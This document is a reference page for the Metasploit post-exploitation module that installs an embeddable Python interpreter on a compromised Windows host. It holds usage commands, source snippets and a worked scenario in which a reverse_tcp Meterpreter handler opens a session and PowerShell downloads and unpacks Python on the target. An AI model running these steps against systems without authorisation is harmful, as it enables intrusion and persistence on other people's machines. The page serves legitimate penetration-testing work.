Install Python for Windows - Metasploit


This page contains detailed information about how to use the post/windows/manage/install_python metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Install Python for Windows
Module: post/windows/manage/install_python
Source code: modules/post/windows/manage/install_python.rb
Disclosure date: -
Last modification time: 2021-02-24 20:24:57 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module places an embeddable Python3 distribution onto the target file system, granting pentesters access to a lightweight Python interpreter. This module does not require administrative privileges or user interaction with installation prompts.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/install_python

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/install_python
msf post(install_python) > show options
    ... show and set options ...
msf post(install_python) > set SESSION session-id
msf post(install_python) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/install_python")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Overview


This module downloads an embeddable Python3 distribution onto the target file system, granting pentesters access to a lightweight Python interpreter. This module does not require administrative privileges or user interaction with installation prompts. This is useful in cases where the in-memory python interpreter might be limited. If you only want to run a python script while connected, see https://github.com/rapid7/metasploit-framework/wiki/Python-Extension.

Tested Version


This module has been tested against:

  1. Windows 10, 1903

Verification Steps


  1. Start msfconsole
  2. Get a Meterpreter session
  3. Do: use post/windows/manage/install_python
  4. Do: set SESSION #
  5. Optional Do: set PYTHON_VERSION
  6. Optional Do: set PYTHON_URL
  7. Optional Do: set FILE_PATH
  8. Do: run

Options


PYTHON_VERSION

Specifies the Python version you would like to download. Downloads Python version 3.8.2 by default.

PYTHON_URL

Specifies the URL used to download the Python embeddable zip file.

FILE_PATH

Specifies the directory to place the Python embeddable zip file. Places Python zip file in the current working directory by default.

CLEANUP

If true, this option will delete the Python zip file as well as its extracted contents. It will also terminate running processes with name 'python', as you cannot delete the Python interpreter if it is actively running.

Scenarios


Get initial access: Create a Meterpreter exe using msfvenom, then transfer it to the target system via web server, SMB, etc. Execute the payload to get a session.

msf5 > handler -H 0.0.0.0 -P 4444 -p windows/meterpreter/reverse_tcp
[*] Payload handler running as background job 0.

[*] Started reverse TCP handler on 0.0.0.0:4444 
msf5 > 
[*] Sending stage (180291 bytes) to 192.168.13.129
[*] Meterpreter session 1 opened (192.168.13.130:4444 -> 192.168.13.129:50069) at 2020-03-04 20:32:59 -0500

Use the post module to install Python on the target filesystem

msf5 > use post/windows/manage/install_python 
msf5 post(windows/manage/install_python) > set SESSION 1
SESSION => 1
msf5 post(windows/manage/install_python) > exploit 

[*] Downloading Python embeddable zip from https://www.python.org/ftp/python/3.8.2/python-3.8.2-embed-win32.zip
[+] Compressed size: 1112
[*] Extracting Python zip file: .\python-3.8.2-embed-win32.zip
[+] Compressed size: 952
[*] Ready to execute Python; spawn a command shell and enter:
[+] .\python-3.8.2-embed-win32\python.exe -c "print('Hello, world!')"
[!] Avoid using this python.exe interactively, as it will likely hang your terminal; use script files or 1 liners instead
[*] Post module execution completed

Verify Python works

msf5 post(windows/manage/install_python) > sessions -i 1 
[*] Starting interaction with 1...

meterpreter > shell
Process 2688 created.
Channel 5 created.
Microsoft Windows [Version 10.0.17763.1039]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\buddha\AppData\Local\Temp>.\python-3.8.2-embed-win32\python.exe -c "print('Hello, world!')"
.\python-3.8.2-embed-win32\python.exe -c "print('Hello, world!')"
Hello, world!

Note that running this Python interpreter interactively may hang your command shell.

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/install_python post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/install_python

msf6 post(windows/manage/install_python) > show info

       Name: Install Python for Windows
     Module: post/windows/manage/install_python
   Platform: Windows
       Arch: x86, x64
       Rank: Normal

Provided by:
  Michael Long <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name            Current Setting                     Required  Description
  ----            ---------------                     --------  -----------
  CLEANUP         false                               no        Remove module artifacts; set to true when ready to cleanup
  FILE_PATH       .\python-3.8.2-embed-win32.zip      yes       File path to store the python zip file; current directory by default
  PYTHON_URL      https://www.python.org/ftp/python/  yes       URL to Python distributions
  PYTHON_VERSION  3.8.2                               yes       Python version to download
  SESSION                                             yes       The session to run this module on.

Description:
  This module places an embeddable Python3 distribution onto the 
  target file system, granting pentesters access to a lightweight 
  Python interpreter. This module does not require administrative 
  privileges or user interaction with installation prompts.

References:
  https://docs.python.org/3/using/windows.html#windows-embeddable
  https://attack.mitre.org/techniques/T1064/

Module Options


This is a complete list of options available in the windows/manage/install_python post exploitation module:

msf6 post(windows/manage/install_python) > show options

Module options (post/windows/manage/install_python):

   Name            Current Setting                     Required  Description
   ----            ---------------                     --------  -----------
   CLEANUP         false                               no        Remove module artifacts; set to true when ready to cleanup
   FILE_PATH       .\python-3.8.2-embed-win32.zip      yes       File path to store the python zip file; current directory by default
   PYTHON_URL      https://www.python.org/ftp/python/  yes       URL to Python distributions
   PYTHON_VERSION  3.8.2                               yes       Python version to download
   SESSION                                             yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/install_python post exploitation module:

msf6 post(windows/manage/install_python) > show advanced

Module advanced options (post/windows/manage/install_python):

   Name                                    Current Setting  Required  Description
   ----                                    ---------------  --------  -----------
   Powershell::Post::dry_run               false            yes       Return encoded output to caller
   Powershell::Post::force_wow64           false            yes       Force WOW64 execution
   Powershell::Post::log_output            false            yes       Write output to log file
   Powershell::Post::timeout               15               yes       Powershell execution timeout, set < 0 to run async without termination
   Powershell::encode_final_payload        false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false            yes       Encrypt PSH with RC4
   Powershell::method                      reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true             yes       Execute powershell without interaction
   Powershell::persist                     false            yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  true             yes       Prepend AMSI/SBL bypass
   Powershell::prepend_sleep                                no        Prepend seconds of sleep
   Powershell::remove_comspec              false            yes       Produce script calling powershell directly
   Powershell::strip_comments              true             yes       Strip comments
   Powershell::strip_whitespace            false            yes       Strip whitespace
   Powershell::sub_funcs                   false            yes       Substitute function names
   Powershell::sub_vars                    true             yes       Substitute variable names
   Powershell::wrap_double_quotes          true             yes       Wraps the -Command argument in single quotes
   VERBOSE                                 false            no        Enable detailed status messages
   WORKSPACE                                                no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/install_python module can do:

msf6 post(windows/manage/install_python) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/install_python post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/install_python) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No powershell available.


Here is a relevant code snippet related to the "No powershell available." error message:

46:	    python_url = "#{datastore['PYTHON_URL']}#{datastore['PYTHON_VERSION']}/python-#{datastore['PYTHON_VERSION']}-embed-win32.zip"
47:	
48:	    # check if PowerShell is available
49:	    psh_path = '\\WindowsPowerShell\\v1.0\\powershell.exe'
50:	    unless file? "%WINDIR%\\System32#{psh_path}"
51:	      fail_with(Failure::NotVulnerable, 'No powershell available.')
52:	    end
53:	
54:	    # Cleanup module artifacts
55:	    if datastore['CLEANUP']
56:	      print_status('Removing module artifacts')

Failed to download <PYTHON_URL>


Here is a relevant code snippet related to the "Failed to download <PYTHON_URL>" error message:

67:	    print_status("Downloading Python embeddable zip from #{python_url}")
68:	    psh_exec(script)
69:	
70:	    # confirm python zip file is present
71:	    unless file? datastore['FILE_PATH']
72:	      fail_with(Failure::NotFound, "Failed to download #{datastore['PYTHON_URL']}")
73:	    end
74:	
75:	    # extract python embeddable zip file
76:	    script = "Expand-Archive #{datastore['FILE_PATH']}; "
77:	    print_status("Extracting Python zip file: #{datastore['FILE_PATH']}")

Avoid using this python.exe interactively, as it will likely hang your terminal; use script files or 1 liners instead


Here is a relevant code snippet related to the "Avoid using this python.exe interactively, as it will likely hang your terminal; use script files or 1 liners instead" error message:

80:	    # confirm python.exe is present
81:	    unless file? python_exe_path
82:	      fail_with(Failure::NotFound, python_exe_path)
83:	    end
84:	
85:	    # display location of python interpreter with example command
86:	    print_status('Ready to execute Python; spawn a command shell and enter:')
87:	    print_good("#{python_exe_path} -c \"print('Hello, world!')\"")
88:	    print_warning('Avoid using this python.exe interactively, as it will likely hang your terminal; use script files or 1 liners instead')
89:	  end
90:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Michael Long <bluesentinel[at]protonmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.